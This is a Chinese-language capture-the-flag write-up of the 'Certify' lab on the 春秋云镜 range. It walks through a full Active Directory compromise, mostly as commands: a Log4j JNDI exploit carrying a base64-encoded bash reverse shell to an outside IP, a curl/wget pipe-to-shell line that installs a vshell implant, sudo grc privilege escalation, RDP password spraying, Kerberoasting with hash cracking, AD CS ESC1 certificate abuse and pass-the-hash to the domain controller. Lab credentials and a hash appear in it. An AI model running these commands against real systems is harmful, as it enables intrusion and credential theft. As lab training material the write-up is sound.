春秋云镜 Certify
# fscan
直接 fscan 开扫,发现 solar 服务
solar 里面用了 log4j 依赖
# log4j2 jndi
用 JNDIExploit 直接开梭
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTcuNTAuMTk2LjQ0LzY2NjYgMD4mMQoK}|{base64,-d}|{bash,-i}" -A "117.50.196.44"
//6666端口
Yakit 抓包发送
反弹成功
# vshell
老规矩,直接命令上线 vshell
(curl -fsSL -m180 117.50.196.44:8084/slt||wget -T180 -q 117.50.196.44:8084/slt)|sh
然后搭建一个代理就行,链接 kali proxychains
# grc 提权
上去之后没找到 flag,而且权限很低,创建文件啥的都不行,说明要提权。suid 没找到,不过 sudo -l 找到了 grc 命令
sudo -l
grc 简介
https://gtfobins.github.io/gtfobins/grc/
sudo grc 然后后面跟想要执行的命令即可
sudo grc cat /root/flag01.txt
# flag01
# fscan2
再次传 fscan 扫描
./fscan -h 172.22.9.19/24
总体情况
172.22.9.7 XIAORANG-DC
172.22.9.19 已拿下
172.22.9.26 DESKTOP-CBKTVMO
172.22.9.47 fileserver
因为这个题题目考点那儿写了个 SMB,估计是有 SMB 服务,那肯定是 fileserver 这台 ubuntu 上存在 (fscan 扫不出来但是 nmap 是扫的出来的),用 smbclient 连了一下果然连上去了
# SMB
得用 smbclient,kali 自带的
用 wp 的 smbcilent.py 不行
妈的。卡了好久
# flag02 (SMB get 命令 下载 flag)
用 cat tac nl 等命令都没有,读取不了
所以直接 get 命令下载到启动 smb 共享是的目录,也就是
/home/baonoob/tools/Impacket/impacket 目录
# 密码喷洒
回到根目录利用 SMB 的连接获取个人信息
根目录刚好有一个数据库文件,直接下载
get personner.db
用本地 Navicat 打开,发现一堆用户和密码
生成对应账号和密码字典
user.txt
passwd.txt
直接密码喷洒
proxychains4 hydra -L user.txt -P passwd.txt 172.22.9.26 rdp >>result.txt
发现有两个可以登陆
zhangjian:i9XDE02pLVf
liupeng:fiAzGwEMgTY
# SPN
知识:
SPN (ServicePrincipal Names) 服务主体名称,是服务实例 (比如:HTTP、SMB、MySQL 等服务) 的唯一标识符。
在使用 Kerberos 协议进行身份验证的网络中,必须在内置账号 (NetworkService、LocalSystem) 或者用户账号下为服务器注册 SPN。
域环境中的每台服务器都需要在 Kerberos 身份验证服务中注册 SPN
所以 DC 知道每台机器 SPN
攻击者会直接向域控制器发送查询请求,获取其需要的服务的 SPN,从而知晓其需要使用的服务资源在哪台机器上。
域内的任何一台主机用户或普通域用户,都可以通过查询 SPN,向域内的所有服务请求 TGS,然后进行暴力破解,但是对于破解出的明文,只有域用户的是可以利用的,机器账户的不能用于远程连接,所以我们的关注点主要就在域用户下注册的 SPN。
但俩都 rdp 不上去,回想提示说了个 spn,试试查找下域用户下的 spn
proxychains4 python3 GetUserSPNs.py -request -dc-ip 172.22.9.7 xiaorang.lab/zhangjian:i9XDE02pLVf
得到了 chenchen 和 zhangxia 的密码哈希,hashcat 爆一下
hashcat -m 13100 -a 0 1.txt /usr/share/wordlists/rockyou.txt --force
得到两个账户可以登陆
zhangxia:MyPass2@@6
chenchen:@Passw0rd@
# ESC1
这俩账户终于能 rdp 上去了,但是 flag 在管理员目录下,还是拿不到。回看题目考点里说了个 AD CS,估计是要拿那台 CA 通过什么证书利用拿域控,先枚举一下有哪些证书
proxychains certipy-ad find -u 'liupeng@xiaorang.lab' -password 'fiAzGwEMgTY' -dc-ip 172.22.9.7 -vulnerable -stdout
直接就扫出来有 ESC1 了,一眼丁真了属于是,照着别人的文章直接开打:ADCS 攻击之证书模板配置错误 ESC1。和他那个演示不一样的就是我们这里用的 Certificate Templates 是 XR Manager 以及 ca 是 xiaorang-XIAORANG-DC-CA,其他都差不多,直接开打。
ESC 证书攻击
https://blog.csdn.net/Adminxe/article/details/129353293
首先利用 XR Manager 模板为域管请求证书
proxychains certipy-ad req -u 'liupeng@xiaorang.lab' -p 'fiAzGwEMgTY' -target 172.22.9.7 -dc-ip 172.22.9.7 -ca "xiaorang-XIAORANG-DC-CA" -template 'XR Manager' -upn administrator@xiaorang.lab
请求的证书会保存到当前目录
接着转换格式,请求 TGT,DCSync 或者 PTT
利用 administrator.pfx 获取域管 hash
注意:我 kali 没更新软件包,所以报错
Got error while trying to request TGT: Kerberos SessionError: KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type
proxychains certipy-ad auth -pfx administrator.pfx -dc-ip 172.22.9.7
pth 拿 DC
只需要 :
后那一部分
proxychains python3 wmiexec.py -hashes :2f1b57eefb2d152196836b0516abea80 Administrator@172.22.9.7 -codec gbk
# flag03
登陆 172.22.9.26 拿 flag03
type c:\users\administrator\flag\flag03.txt
### flag04
登陆 172.22.9.7 拿 flag04
type c:\users\administrator\flag\flag04.txt
# BloodHound
打开 neo4j 数据库
启动数据库
打开 BloodHound
cmd 执行
BloodHound.exe --no-sanbox
会打开一个 web 页面,登陆
账号:neo4j
密码:
上传 SharpHound 采集数据
会在当前目录生成 zip 文件
直接到 BloodHound 上传 zip 就行
选择 DC 关系图